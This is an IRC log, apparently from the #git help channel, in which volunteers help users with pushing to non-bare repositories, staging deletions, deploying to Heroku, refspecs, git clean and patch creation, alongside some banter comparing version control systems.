tetha iamcalledrob: you are aware that pushing into a non-bare repo does not touch the working copy?16:44
xiong How do I make .gitignore ignore symlinks?16:45
iamcalledrob tetha: what is a "non-bare" repo?16:46
Alagar joined16:46
tetha iamcalledrob: a repo that is not bare? look at git init's parameters16:47
|Rolenun| joined16:48
iamcalledrob tetha: I've looked at them, but I don't really understand16:50
offby1 iamcalledrob: it's kinda subtle. You should try an experiment locally to see it in action:16:50
create a regular repository, put some stuff in it; clone it; make changes to the clone; push from the clone back to the original.16:50
You'll see that the original's working tree doesn't change, but its repository does.16:50
gebi joined16:51
iamcalledrob offby1: that makes sense16:51
offby1 But git figures that the working tree indeed changed16:51
so 'git status' shows a bunch of changes16:51
iamcalledrob yep16:51
offby1 and if you were to commit those changes, you'd in effect undo the commit(s) that you pushed.16:51
anyway, this is why pushing to a non-bare repository is bad: it's confusing.16:51
iamcalledrob this is helpful, thanks16:52
offby1 (at least, it's why _I_ avoid doing it)16:52
iamcalledrob in this case, all I need to do is push my working copy to heroku master16:52
I mean, the files that are sitting on my filesystem16:52
RobertLaptop offby1 would you know how I could replace my master with a remote master. Not merge but replace?16:54
Paraselene_ left16:54
Paraselene_ joined16:54
RobertLaptop offby Without touching the rest of my branches?16:54
offby1 RobertLaptop: I probably can figure it out, but I'll explain it wrong the first two times I try :)16:55
Rolenun left16:55
offby1 RobertLaptop: the first thing that comes to mind is: delete all the files in your branch, then simply copy master's files on top, then commit. This won't create a merge commit, but it might suffice anyway.16:55
worth a try.16:55
RobertLaptop Yea. That might work.16:56
offby1 it's risk-free, since if you don't like the result, you can just reset the branch back.16:56
And if you really wanted a merge: there's an option to "merge" that says something like "let the other side always win", or maybe it's "let this side always win". You could try that.16:56
RobertLaptop It so simple even I could figure out how to do it :)16:57
offby1 git merge --strategy=ours, I think16:57
again, no risk in just trying it out16:57
note that I've never done either of these things myself16:57
ramlev left16:57
offby1 I just play one on TV, etc.16:57
daifuku left16:57
RobertLaptop offby1 I don't think that will work since the is a diverged repo. So they started out the same but my editor reformatted all the white spaces and it is making merges a pain.16:58
funkytaco joined16:59
daifuku joined16:59
offby1 I'd try it anyway.16:59
I suspect that if the --strategy=ours, the merges will all be easy17:00
at least, that's my understanding of what that "strategy" is17:00
RobertLaptop Yea but sometimes I don't want that so unless it goes though and wipes all my formating changes I can only use it once but I will try that.17:01
khmarbaise left17:02
RobertLaptop offby1 just so you know. git merge --strategy=ours wgm/master Already up-to-date.17:02
offby1 yes, this idea of mine is only meant to be used once17:02
pff17:03
someday I should try this myself.17:03
khmarbaise joined17:03
iamcalledrob offby1: I'm still stuck.. I don't understand why when I git add, git commit, and git push to my remote repos, the remote repos stays out of date with what I've got on my machine.17:05
RobertLaptop offby1 But the idea of a full file replace makes since to me17:06
Zephyrus__ joined17:06
Zephyrus left17:06
Zephyrus__Zephyrus17:07
jefferai joined17:07
jefferai left17:07
offby1 iamcalledrob: are you sure it's the remote _repository_ that's out of date, and not just the remote _working tree_? Those are two different things.17:09
If it's the latter, then git is working exactly as I expect; if the former, then there's some confusion that needs to be cleared up17:10
offby1 readies a mop and bucket for the clearing up17:10
iamcalledrob offby1: well, I don't know. I'm the only person who's used this repository, and all I've ever done is to push my working copy to it17:10
godsflaw joined17:10
scarabx joined17:11
offby1 iamcalledrob: doesn't matter17:11
iamcalledrob offby1: I think there's some crucial concept I'm not understanding here17:12
offby1 could be17:12
like I say, try it out with two repositories that are both local; that way you can watch all the gears turning17:12
rseifert joined17:12
offby1 I'll try to simplify it: your average directory has a working tree -- the files you can see with "ls" -- _plus_ a .git directory. That .git directory holds the same information as those files (and more besides), but encoded in a way that makes it impossible to "see" with "ls". When you "push" to this, _only_ the stuff under .git changes. The actual files languish.17:14
iamcalledrob okay, that makes sense so far17:14
offby1 When people (e.g.) have a web server serve up files from a git wc, they often forget this, and wonder why updating the repository via "push" seems to have no effect17:14
I suspect you're in the same situation.17:15
charon there's also faq non-bare on this topic.17:15
Gitbot charon: Pushing to non-bare repositories is discouraged. See http://git.or.cz/gitwiki/GitFaq#non-bare17:15
iamcalledrob reads that17:15
imajes left17:16
Alagar left17:16
imajes joined17:16
offby1 ayup17:16
good ol' gitbot17:17
iamcalledrob okay, I've read that17:17
but I'm not sure where I go from here17:18
funkytaco anyone know the command to update env variables in OSX profile without logging out?17:18
jast I've got my own article describing the same thing, by the way: http://bare-vs-nonbare.gitrecipes.de/17:18
offby1 heh17:18
RobertLaptop How I manage a webserver using git. 1) create a bare repo. 2) create a clone in the folder I want. 3) add a post-recieve script to pull changes after commit.17:18
offby1 RobertLaptop: sounds reasonable.17:18
so the post-recieve script lives in the bare repository, but updates the clone, right?17:18
jast sounds like overhead ;)17:19
RobertLaptop offby1 Yes.17:19
iamcalledrob could anyone tell me how I can go about making my remote repos reflect what I have on my system here?17:20
RobertLaptop I actually use ssh to run scripts on serveral remote systems to update my entire cluster with one push.17:20
munichlinux joined17:21
jast iamcalledrob: does my link help? ;)17:21
RobertLaptop iamcalledrob git push remoterepo(Genereally origin)17:22
jast we already got that far :)17:22
you missed the meat of the discussion17:22
iamcalledrob jast: i've read it, and I think I (vaguely) understand why it's not working, but I'm not sure how to do things the correct wayu17:22
way*17:22
godsflaw left17:23
jast my page lists a few solutions, most centering around installing a hook script17:23
Yuuhi joined17:23
jast the main question is: are you going to change files in the working tree on the remote machine?17:24
I mean manually17:24
RobertLaptop jast as for the overhead question I don't because there is much since you will still need a post-receive script to pull out changes pushed to a none bare repo.17:24
iamcalledrob jast: all I want is so that when I browse my remote repos (in this case, it's hosted by projectlocker and I browse via trac), it shows the most up to date files17:24
jast iamcalledrob: trac's browser should show the up-to-date files anyway. I suspect you've actually got a different problem than we all assumed.17:25
iamcalledrob aha17:25
jast which branch(es) did you push?17:25
iamcalledrob there's only a master branch for now17:26
jast right17:26
and when you pushed, git said something about updating the master branch on the remote?17:26
iamcalledrob so just to be clear, I've added, committed and pushed my "working tree (?)" - my files on this computer, using git push origin master, which pushes to projectlocker17:26
jast: that sounds about right17:26
jast and if you do another push it doesn't do anything, right?17:26
flaguy48 left17:27
iamcalledrob yep17:27
it says "everything up-to-date"17:27
jast is the trac page publicly viewable?17:27
iamcalledrob I don't think so, let me see17:27
offby1 iamcalledrob: yeah, I don't know how trac works. (I didn't even know it supported git, but then I haven't thought about it for years)17:27
daifuku left17:28
iamcalledrob the real issue, though, is that when I push to heroku (git push heroku master), it seems to push the same old files17:28
jast there's a git plugin for trac17:28
RobertLaptop This might be a dump questions but I want to confirm you "commited" those changes before you pushed this out?17:28
jast he said he did :)17:28
offby1 iamcalledrob: now, why do you say "it seems to push the same old files"? What are you seeing that suggests that?17:28
rgr left17:29
RobertLaptop Just asking. Since I work with windows programmers I have had that happen.17:29
daifuku joined17:29
offby1 at some point iamcalledrob is gonna have to paste a complete transcript, or else we'll just be going around in circles.17:29
that's my solution to everything: gimme a transcript17:29
rgr joined17:29
iamcalledrob offby1: well, in this case, I can see it's the old files because I'm getting an error relating to files which don't exist in my local copy, but do on my remote repos (and shouldn't)17:30
RobertLaptop offby1 by the way your idea of copying over the files worked great. I wish I had though of that. :)17:30
jast what is heroku anyway... another computer of yours?17:31
iamcalledrob jast: http://www.heroku.com/17:31
vvsh left17:31
offby1 iamcalledrob: that suggests to me that you're simply suffering from the problem I described above17:33
funkytaco left17:33
offby1 iamcalledrob: try logging in to the remote repository, and doing "git log". I predict you'll see the new commit. Then do "git status"; I predict you'll see a bunch of "changed" files.17:34
gebi left17:34
offby1 if I'm right in both cases, then "git reset --hard HEAD" will straighten things out, but that's not a good long-term solution17:34
RobertLaptop: sometimes brute force is the answer :)17:34
jast: sounds vaguely ruby-like :)17:34
tamir joined17:35
iamcalledrob excuse the ignorance, how would I go about logging in to my remote repository? what should i be looking at?17:35
cbreak logging in?17:36
tamir hi, I have a git-svn mirror and a clone of this mirror in which I work on a branch. Now I would like to rebase my topic branch onto the current svn master which has progressed17:36
jast many repository hosting companies won't allow you to do that17:36
ilteris_ joined17:36
iamcalledrob I'm hosting my repos with projectlocker.com17:36
cbreak repositories are just a bunch of files, not something you can log in to17:36
tamir should I do this in the svn master or in the clone and how do I synchronize the change afterwards.17:36
?17:36
patcito joined17:37
offby1 iamcalledrob: ah, they might not provide shell access.17:37
iamcalledrob: I'd have suggested "ssh the-remote-server.com", but it might not work in your case.17:37
iamcalledrob I can't see any mention of it on their site17:37
offby1 Depends on how they've got stuff set up.17:37
jast tamir: three way synchronizing changes between a clone of a git-svn mirror, the git-svn mirror and the svn repository is usually tricky business. I suppose your best best is to git svn rebase the git-svn mirror, then pull --rebase in your clone17:37
offby1 iamcalledrob: on the other hand, if they provide git hosting, they must (obviously) have a way for you to update your files :)17:37
jast probably limited ssh access as usual17:38
iamcalledrob I might just sign up with github17:38
flaguy48 joined17:38
tedoc2000 joined17:38
offby1 github is great, if I may say so.17:38
jast the weird part is that this heroku thing does weird stuff17:38
offby1 but don't abandon projectlocker just yet17:38
iamcalledrob if I said I don't care about any previous commits17:39
offby1 iamcalledrob: I suspect that, whatever your problem really is, the cure is simple.17:39
iamcalledrob and I'd be happy to just destroy my repos, and create a new one with the files on disk here, would that work?17:39
gebi joined17:39
jast I don't think we can answer that question for sure before figuring out what the problem is17:40
funkytaco joined17:40
lfranchi joined17:40
jefferai joined17:40
gebi_ joined17:40
iamcalledrob okay, so where should I go from here?17:40
offby1 iamcalledrob: that might work OK if you somehow screwed up when you created your original repository, and got the second one right; but if not, then it's probably a waste of time.17:40
lfranchi left17:40
jefferai left17:40
jefferai joined17:41
lfranchi joined17:41
offby1 iamcalledrob: I really don't know. I don't fully understand your problem (although I think I understand its _symptoms_); I don't know how projectlocker works17:41
I wouldn't be terribly surprised if you're like the first person to ever use projectlocker's git support, and have simply found a dumb bug17:41
iamcalledrob hmm17:42
so if I wanted to push the files that are sitting on my disk to heroku master, how would I do that?17:42
Husio left17:42
iamcalledrob because when I do that, I'm actually pushing outdated stuff17:42
offby1 git add . ; git commit -m "whatever"; git push master origin17:42
jast I still think if heroku does unexpected things, too, we shouldn't prematurely blame projectlocker17:43
offby1 assuming that your branch is "master", and your remote is "origin"17:43
offby1 dunno what heroku is either17:43
iamcalledrob offby1: that pushes out of date code, I don't understand17:43
offby1 iamcalledrob: well, at this point, without a complete transcript, I have to give up17:43
jast it's a ruby cloud computing whatever thing that you deploy to using git17:43
iamcalledrob heroku is a ruby hosting service, where the deployment is all via git17:43
daifuku left17:43
_Vi joined17:44
jast have you looked at your local master branch's history to check if it's correct, perhaps using gitk or tig or something like that?17:45
daifuku joined17:45
iamcalledrob hmm, I could17:45
what's a good app for OS X?17:45
...gitx, apparently17:46
jast tig works on anything. it's curses-based. :)17:46
offby1 iamcalledrob: a co-worker uses gitx, and likes it very much17:46
iamcalledrob okay17:48
in my master branch, there are a whole load of "unstaged changes"17:48
offby1 ah17:49
you didn't "git add" them, then17:49
iamcalledrob oh? I've always used git add . in the root of my project17:49
RobertLaptop offby1 wouldn't "git commit -a" all work?17:49
all=also17:50
offby1 iamcalledrob: that should indeed work :-| Unless you've "ignored" those files17:50
RobertLaptop: yep17:50
RobertLaptop I am lazzy. I use that instead of a bunch of git add xxxx17:51
kumbayo joined17:51
iamcalledrob offby1: it's not working, they still show as unstaged changes17:51
archis joined17:51
RobertLaptop git add gives you more control.17:51
iamcalledrob I seem to be able to fix it in GitX by right clicking on them and pressing "Stage Changes"17:51
but i'm not sure why or what that does17:51
JackWinter joined17:52
offby1 iamcalledrob: transcript, please :-|17:52
RobertLaptop iamcalledrob if I remember right it is the same as "git add /folder/filename"17:52
imajes left17:53
RobertLaptop although to be honest I use git commit -a and see what files it says are changed and what are untracked myself.17:53
offby1 uses C-x v d17:54
offby1 an Emacs command :)17:54
rgr_ joined17:54
ramlev joined17:54
Tass` C-x M-c M-butterfly ?17:55
|Rolenun|Rolenun17:55
rgr left17:55
iamcalledrob okay, getting transcript17:55
ange_ joined17:55
daifuku left17:56
ange left17:56
ange_ange17:56
diegoviola what is the equivalent of svn externals in git?17:56
daifuku joined17:57
Ilari diegoviola: Submodules?17:58
iamcalledrob here's the transcript of what I've been doing: http://gist.github.com/27365017:58
imajes joined17:58
offby1 iamcalledrob: thanks, hold on17:58
scarabx left17:58
offby1 iamcalledrob: ah, sorry, my fault.17:58
"git add" doesn't take care of deletions :-|17:58
try "git commit -a"17:59
might work, might not17:59
won't hurt though17:59
... and now that I think about it, the advice in the output of the "git commit" message is misleading: it says 'use "git add"', which obviously hasn't helped you any17:59
iamcalledrob hooray! LD17:59
:D18:00
offby1 *whew*18:00
glad it worked18:00
iamcalledrob: OK, now read "Git For Computer Scientists". I'm serious; it's the best thing I know for understanding git's innards ... which (in my experience) is crucial to using git effectively18:00
RobertLaptop git commit -a also shows you untracked files that really helps in adding missing files as well that you forgot to add.18:00
offby1 I just use "git status" a lot18:00
kipras joined18:00
offby1 same thing, more or less18:00
iamcalledrob offby1: okay, I will do :)18:00
nickrw joined18:02
fcuk112 left18:02
funkytaco left18:04
coolcat joined18:05
Pata[afk] joined18:06
gebi left18:06
gebi_ left18:06
gebi joined18:06
Pata[afk] Hey, I have a codebase I'd like to use Git with. It's about 400mb and I already have a (nearly identical) copy both locally and remote. I 'git init' in both, then 'git remote add' to add the remote as 'origin'. If I do a 'pull' not it wants to download everything, is there a way to avoid it?18:07
mathrick joined18:07
Pata[afk]Pata18:07
mathrick hi, I have the following situation: commit A, merge from upstream, commit A1 which is just a small typo that should've been in A to begin with. What rebase command do I need to squash A1 into A now?18:08
diegoviola Ilari: thanks18:09
[1]awnstudio joined18:09
diegoviola nice, kde is finally moving to git: http://aseigo.blogspot.com/2010/01/key-quest-git.html18:09
archis left18:10
jailbox joined18:11
smuf joined18:12
mathrick anyone?18:14
Ilari uploads security fix for git-daemon2. :-(18:14
tamir left18:14
Ilari mathrick: No easy way without first undoing the merge from upstream.18:15
mathrick okay, I can do that18:15
nickrw left18:15
mathrick what's the incantation?:18:15
s/://18:15
catalis joined18:15
Ilari mathrick: Reset --merge presumably.18:17
Pata Any ideas for 'cloning' whilst already having the files?18:17
RobertLaptop Pata are the to nearly identical copy on peoples workstations?18:17
Pata yeah virtually identical18:17
wereHamster files already in git or in the filesystem?18:17
Pata I can make them identical if need be18:17
How so? Theyre on the filesystem, but I've turned them both into a git repos in my attempts18:18
Ilari Pata: Having the files already will not help cloning. Only having commits locally would.18:18
jimi_hendrix joined18:18
Pata They are both brand new to git18:18
mathrick Ilari: I don't seem to have --merge available, will just specifying the last commit before the merge work?18:18
Pata the only commit is "initial commit"18:18
kumbayo left18:18
jimi_hendrix when i do git branch <some-branch-name>, is the branch made then, or do i need to commit and push to a server to have the branch appear there18:18
Ilari mathrick: Then use --reset (but its dangerous).18:18
mathrick: *--hard18:18
jimi_hendrix: Branches can't be committed.18:19
RobertLaptop Pata I am just tiring to get a fell for your workflow is sounds like you need a remote repo they both can push and pull to?18:19
mathrick Ilari: ok, I'll make a copy then18:19
Ilari jimi_hendrix: And git branch creates a branch.18:19
jimi_hendrix Ilari, ok18:19
Pata I wasn't using a bare repos here (because I'm limited on disk space) so I was going for just pushing and pulling between the two18:19
Ilari jimi_hendrix: You can push the branch to make it appear in another repo.18:19
Pata Up till now I've made changes then used FTP to sync them, but I'd like to use Git18:19
jimi_hendrix Ilari, so if i am using github, and i do git branch...., the branch will show up there shortly without me doing anything else?18:20
Pata (fyi I'm faily new to git, but am capable of using and setting up 'easy' setups!)18:20
Ilari Pata: If you push between to non-bare repos, you should configure push-to-HEAD to be forbidden (needs 1.6.6) and add push line for remote.18:20
RobertLaptop Pata is one copy basicly a backup or is it something like webfiles were they are used?18:20
jimi_hendrix Ilari, nvm, i got it18:20
Ilari jimi_hendrix: git branch is local only.18:20
Pata RobertLaptop It's my local working copy, so sometimes I make changes over SSH and sometimes I work locally then upload them18:21
jimi_hendrix ty18:21
jimi_hendrix left18:21
Pata Ilari I will ahve a look at that now, thanks!18:21
imajes left18:21
Chaser_ left18:21
Pata hm I have 1.6.2 remotly, is that a problem?18:21
I need 1.6.6 on both?18:22
Ilari Pata: You should have 1.6.6 on receiving end if you push to non-bare repos.18:22
Pata Hm ok, so having 1.6.2 would mean I either need to upgrade or use a bare?18:23
Ilari Pata: The usual value for push in such setup is something like 'push = refs/heads/*:refs/remotes/foo/*' (replace foo with what's suitable).18:23
jtdouy left18:23
Pata I'm not sure I understand git enough for that to make much sense to me18:23
Ilari Pata: Using 1.6.2 would mean that if you or someone accidentially did push-to-HEAD, it would screw things.18:23
Pata: That sets default what to push for remote. And it means: push all local branches as remote tracking branches foo/...18:24
Pata Would I look like a fool if I asked if heads = branches? :S18:25
Ilari Pata: refs/heads/ is namespace of local branches.18:25
Pata: heads is apparently some obsolete term that's still there due to compatiblity.18:26
jwoods_ joined18:26
Pata Is there a website/book/wiki to read that explains all the terminology? I find the offical docs very hard to understand because I don't know a lot of the terms.18:27
scarabx joined18:27
offby1 Pata: I'll give you my stock answer to almost every question: read "Git For Computer Scientists"18:28
that covers some of the more important terminology, but probably not all18:28
Pata thanks offby1, I'll have a look.18:28
awnstudio left18:28
[1]awnstudioawnstudio18:28
Chaser_ joined18:29
offby1 votes to just put that advice into the /topic18:29
mathrick okay now, what does that mean?18:29
mathrick@hatsumi:~/Dev/Lisp/lib/cl-gtk2$ git push [email@hidden.address]18:29
To [email@hidden.address]18:29
! [rejected] master -> master (non-fast forward)18:29
offby1 faq non-fast forward18:29
offby1 drums fingers18:29
offby1 mathrick: try "git pull" first18:30
mathrick from that branch?18:30
offby1 yep18:30
corni left18:31
mathrick offby1: same thing18:31
offby1 hm18:31
git "git pull" do anything?18:31
mathrick * branch HEAD -> FETCH_HEAD18:31
Already up-to-date.18:31
offby1 mathrick: try "git checkout master; git pull"18:31
in which case your push probably won't push what you want18:31
mathrick oh, I see18:31
offby1 :-(18:31
mathrick offby1: I'm actually trying to push another branch18:32
offby1 I think I need to cite "Git For Computer Scientists" for the third time in five minutes :)18:32
Frt joined18:32
mathrick why doesn't it push the current branch?18:32
offby1 I think you have to set some config option to get it to do that.18:32
vvsh joined18:32
mathrick gah18:32
bbttxu joined18:32
FrtGuest1632318:32
ramlev left18:34
RobertLaptop mathrick to push branch xxx to remote master you would do "git push origin xxx:refs/heads/master"18:34
zoniq left18:34
mathrick aye, I figured that out once offby1 hinted me18:35
rseifert left18:37
offby1 mathrick: I'm impressed. It took me ages to figure out that "refspec" syntax.18:37
mathrick offby1: I was fighting with it a bit earlier trying to get it to merge18:38
but I still want my bzr back :(18:38
aspotashev joined18:38
catalis left18:38
riz2 joined18:40
offby1 *gasp*18:40
why, that's heresy in this channel18:40
mathrick: hacking emacs by any chance?18:40
mathrick offby1: no, CL-GTK2 bindings18:41
which are upstream git, which is why I'm using git in the first place18:41
offby1 ah, those sound good too18:41
mathrick yeah, they're nifty18:41
offby1 someday I hope the revision-control wars end, and we all settle on one good system.18:41
competition is nice and all, but ... it's confusing having so many different ones :-|18:41
riz2 problem is, these days it's looking more and more like that might be git :(18:42
mathrick yeah :(18:42
git is too much like arch18:42
it was good in theory, but in practice, God help you if you weren't Tom Lords18:42
AAA_awright Is that a bad thing?18:43
mathrick I was somewhat of an early adopter, which taught me several things: DVCS are a good idea; arch is not a good implementation of it; wait until something better comes18:43
AAA_awright: yes18:43
under arch I'd routinely wedge my repos into "you need to start anew" state, and would spend ~50% time helping others on my team with basic VCS tasks18:44
daifuku left18:44
mathrick bzr is the exact opposite, it just DWIM18:45
git is a sad throwback to the arch days18:45
offby1 heh, I often got similar wedgitude with svn18:45
daifuku joined18:45
AAA_awright ("how are you supposed to tag a release?!?")18:45
mathrick oh yes, SVN is pretty bad overall if you can use something else18:45
it's better than CVS, but that's it18:45
munichpython joined18:46
AAA_awright Heh, at least CVS has real tags and branches18:46
munichlinux left18:46
mathrick yes, with global scope18:46
that was... not a good idea18:46
munichpythonmunichlinux18:46
tobias__ joined18:47
deschet joined18:47
catalis joined18:48
Axius left18:48
bremner mathrick: well, ask the emacs people how happy they are with bzr18:48
mathrick I'm not saying it's ideal18:48
but the UI is *vastly* superior18:49
bremner maybe, but taking forever is also a UI issue18:49
Axius joined18:49
bremner anyway, if it works for particular projects great.18:50
r11t left18:51
khmarbaise left18:51
froschi joined18:51
mathrick bremner: oh, no doubt taking forever is not a good thing, and I don't doubt that linus is more comfortable with git's model than bzr, and it sure has its place18:51
but personally I'm sad to see git become the new de-facto standard, because it doesn't mesh with me at all18:52
thiago_home you're entitled to feeling that18:52
catalis left18:53
BtbN I want to make a special commit the new master, and throw away the latest commit. I made a bad mistake. How is this possible?18:53
diegoviola mathrick: why are you sad to see git becoming the defacto?18:53
BtbN tryed git revert, but it fails18:53
mathrick diegoviola: "because it doesn't mesh with me at all"18:53
Axius left18:54
deschet is there a git command that'll erase all of the newly created files? For example, created a bunch of files using scaffolding and decided I do want to keep or commit them.18:54
diegoviola mathrick: what mesh with you?18:54
deschet without having to $ rm them all indivually18:54
thiago_home diegoviola: he started his sentence with "personally"18:54
deschet: just reset18:55
diegoviola thiago_home: i know, i want to see what he prefers18:55
deschet I did reset but the newly created files are still showing up in my TextMate18:55
shouldn't they disappear?18:56
after reseting?18:56
thiago_home reset --hard18:56
mathrick diegoviola: git18:57
oh18:57
bzr if you were asking about my favourite18:57
deschet I did $git reset --hard18:57
and they didn't dissapear. I still see all the newly created files when I run $git status18:58
mathrick actually what I'd like would be a mix of bzr with some particular features of darcs (which I think overall is a horrible system, but has several "oooh, neat!" points)18:58
deschet do I need to be in the master or a new branch?18:59
charon deschet: man git-clean19:00
Gitbot deschet: the git-clean manpage can be found at http://git.or.cz/man/git-clean19:00
charon but be warned, that actually nukes the files, irreversibly.19:00
also see the status.showuntrackedfiles option in man git-status.19:00
Gitbot charon: the git-status manpage can be found at http://git.or.cz/man/git-status19:00
chalkbag left19:01
d2dchat joined19:01
deschet so once I run $git clean -fd I should not see any files when I run $git status ??19:02
thiago_home what does git status say?19:02
untracked? modifed but not added? added?19:02
sako joined19:03
DrAk0 joined19:03
sako hey all, if i am going to be using a project of git19:03
is it a good idea to create my own branch?19:03
__iron left19:03
RaceCondition joined19:03
sako make whatever changes and customizations, then when i want to upgrade to the newer version of the project merge?19:03
deschet it list a bunch of tracked files19:03
bentob0x left19:04
deschet nothing added but untracked files present19:04
hgimenez_ joined19:04
thiago_home deschet: then git clean19:04
froschi1 left19:05
hgimenez left19:05
Axius joined19:06
nickrw joined19:06
sourcemaker joined19:07
drigz joined19:09
drigz hey guys, my friend accidentally deleted the directory we were using as the original repository19:10
can he copy back from my repository?19:10
khmarbaise joined19:11
sako so what is the difference between fork and branch?19:11
Ilari drigz: Recreate it as empty repository and push?19:11
deschet does anyone know where I could find a good tutorial that walks you through everything? From creating, committing, to screwing up, reversing, branching, etc?19:12
I'm a newbie...19:13
thiago_home sako: the intention19:13
drigz Ilari: do i do the push?19:13
Ilari drigz: Presumably yes.19:14
sako ahhh19:14
so i fork if i don't have access to the original or don't intend on ever mergin19:14
thiago_home you fork if you intend on leading a separate project19:15
sako however, when i fork, can i at a later time "merge" a new version of the project?19:15
thiago_home you can, if you change your mind19:15
like I sid, a fork is a matter of intention19:15
drigz Ilari: ok, thanks, will try...19:17
aresnick joined19:19
drigz Ilari: seems to have worked - thanks!19:19
pheaver joined19:20
FFForever-AwayFFForever19:20
soreau joined19:20
soreau Hi19:20
swisherpop left19:21
sako hmmm19:21
so essentially when i clone a project i forked it19:21
i go about making my changes to it19:21
soreau I am trying to make a patch for a single file in the kernel, so i made the changes then did 'git commit -a && git format-patch origin' but it created 36,487 patches and mine was the last one. What am I doing wrong?19:21
I am thinking I probably should do git commit path/to/file && git format-patch <something else>19:23
munichlinux left19:23
soreau but I don't know what I need to do19:23
project2501a joined19:24
swisherpop joined19:25
offby1 soreau: my first guess is that "origin" doesn't mean what you think it means19:25
soreau: I'd run "gitk --all" and see which remote ref is "closest" to your HEAD19:25
and make the patch against it19:26
soreau ok let's see19:26
offby1 I think 75% of my advice on this channel is either "Read 'Git For Computer Scientists'", or else "run 'gitk --all'"19:26
til joined19:27
Zephyrus left19:27
soreau offby1: Thanks, it was an off-by-one error ;)19:28
I didn't use gitk --all at all though19:28
I had to git format-patch origin/<branch>19:28
reprore left19:29
daifuku left19:29
sourcemaker_ left19:29
yziquel left19:30
pkw left19:30
soreau Now, I am doing this as root so it detected my root account for the patch. Is there any way to get it to detect my user while still creating the patch as root?19:30
offby1 maybe by setting some environment variable or other19:30
I have to ask: why are you root in the first place?19:31
diegoviola i'm cloning some repo but it's not getting my branch from the server, why?19:31
it clones master only19:31
daifuku joined19:31
Axius left19:31
soreau offby1: Well I never run as root unless messing with kernel stuff19:31
jast diegoviola: look at git branch -r19:31
diegoviola origin/diego19:31
thats what i need19:31
jast git checkout --track origin/diego19:32
diegoviola thanks19:32
sako is there some alternative to capistrano19:32
made in python?19:32
oops wrong chan19:32
r11t joined19:32
diegoviola jast: it required -b also19:32
drigz left19:33
jast diegoviola: version 1.6.1 and newer can do it without the -b :) in fact, in 1.6.6 it's sufficient to say git checkout diego19:33
diegoviola jast: cool, i will update19:33
munichlinux joined19:33
smotchkkiss joined19:34
rami joined19:35
diegoviola updating to git 1.6.619:36
DrAk0 left19:37
rami Hello! Is there any way to "freeze" a file locally? What I mean is, I want to "hold" a specific version on the _file system_ and remote changes on only this file(s) should be ignored. .gitignore seems to ignore commits only, but what's about pull?19:37
ProperNoun joined19:38
offby1 I dimly recall that there's a way to do that ...19:38
dunno what though19:38
I suspect it's a relatively new feature19:38
diegoviola jast: git checkout diego works great in latest version, it rocks, thanks19:38
icwiener left19:41
kmartiin joined19:42
ruediger_ joined19:42
rami offby1: maybe git rm --cached19:42
?19:42
sako left19:42
offby1 don't think that's it19:43
rami hmm19:43
offby1 that deletes it from the index, so the next time you commit, you'll have committed the deletion.19:43
offby1 builds eagerly, in order to try out "git status -s"19:44
OtherJakeSaysJakeSays19:44
soreau offby1: Thanks for the help19:45
soreau left19:45
offby1 :)19:45
jelmer joined19:47
jotik^^ joined19:48
jotik left19:49
Chaser_ left19:49
pantsman joined19:49
esc_ left19:52
til left19:57
gdaa_ left19:57
gdaa joined19:58
ruediger left19:58
Twisted_Mentat joined20:00
Slix` left20:03
iamcalledrob_ joined20:04
bambule joined20:05
NathanielJ joined20:07
adamm_ joined20:10
rudi_s_ joined20:11
daifuku left20:14
smotchkkiss left20:14
daifuku joined20:15
sako joined20:16
dave_d joined20:18
dave_d Etiquette question; if I've got a patch that could do with the maintainers input before it's commited, do I email them directly or email the list & CC them?20:20
Ilari dave_d: Mail to list, ccing maintainers.20:20
dave_d: Or just to list.20:21
dave_d Cool, I'll do that.20:21
Cheers!20:21
iamcalledrob left20:21
iamcalledrob_iamcalledrob20:21
cxreg offby1: does "gitk --all" in the kernel still blow up?20:23
t0rc left20:23
kwinz left20:24
cxreg lol, it does20:24
800 megs and counting20:24
just about a gig total20:25
sumangurung left20:25
offby1 cxreg: "800 megs and counting" is a reasonable expansion of the acronym EMACS :)20:25
thiago_home eight hundred now?20:25
last I read the expansion it was "eighty"20:26
and that's up from "eight"20:26
besides, what does the S stand for?20:26
charon i thought it was "eight megs and continuously swapping"20:26
cxreg offby1: *snort*20:27
Slix` joined20:27
rudi_s left20:27
dave_d Should patch 0 be any talking, with 1..n being patches?20:27
Slix` How can I add a trusted fingerprint?20:28
Ilari Slix`: ? ssh?20:28
dave_d: Yes.20:28
Slix` Yeah.20:28
cxreg Slix`: manually ssh and type "yes" ?20:29
Ilari Slix`: One way might be to use ssh to attempt connection and then accept the hostkey.20:29
Slix` Aha, yeah. That'll work20:29
JoeConyers joined20:31
cxreg VisualHostKey is a weird option20:31
jimi_hendrix joined20:32
jimi_hendrix how do i change my branch20:32
cxreg jimi_hendrix: git checkout other_branch20:33
jimi_hendrix ok20:33
cxreg ive had to switch back to cvs recently and it's rotting my brain :(20:33
dave_d cxreg: sympathies20:34
Slix` Yeah..20:34
jimi_hendrix cxreg, oh and how do i show what the current added files are... git show?20:34
Slix` I'm getting an error validating.20:34
I have to do it manually..20:34
But it doesn't say WHERE to ssh too.20:34
to*20:35
cxreg jimi_hendrix: what do you mean "added files" ?20:35
jimi_hendrix: do you mean what's staged?20:35
jimi_hendrix files added with git add20:35
cxreg ah20:35
git status20:35
and if you want to see the difference between what's committed and what's staged, try "git diff --cached"20:35
jimi_hendrix cxreg, ah20:35
ok20:35
and define staged please while i am here20:35
cxreg staged is what content is when it's been "git add"ed20:35
it's an intermediate area between working tree and commit20:36
it's part of what makes git awesome :)20:36
jimi_hendrix cool20:36
offby1 ... and confusing to those used to other systems, alas20:37
Slix` How do I do it manually then?20:38
SkyX joined20:38
charon Slix`: 'git remote -v' and figure out the ssh host from the URL for your remote?20:38
offby1 Slix`: find the host name in question -- we probably can't help with that (it might appear in the output of "git remote -v", though)20:38
charon: jinx20:38
jimi_hendrix cxreg, so what makes it so cool20:39
imajes joined20:39
vvsh left20:39
charon jimi_hendrix: http://tomayko.com/writings/the-thing-about-git20:39
Slix` Gah.20:40
Stupid windows won't let me cd to my D drive.20:41
NetHawk left20:41
Zephyrus joined20:41
cxreg gotta love documentation that says "shoving nasty shit into your face"20:41
corni joined20:41
_Vi Slix`, "cd /D D:\".20:42
Slix` Wewt, thanks.20:42
offby1 She turned me into a Wewt!20:42
Slix` git remove -v returned nothing.20:42
cxreg "git remove" ?20:43
git remote maybe?20:43
Slix` Also nothing.20:43
Oh20:43
Sorry20:43
Typoed it in the channel20:44
_Vi Slix`, Either "git rm" or "git remote".20:44
Slix` s/git remove -v/git remote -v20:44
cxreg Slix`: if it's a new repo, it wont have a remote yet20:44
_Vi Slix`, Git should automatically offer "remote" correction.20:44
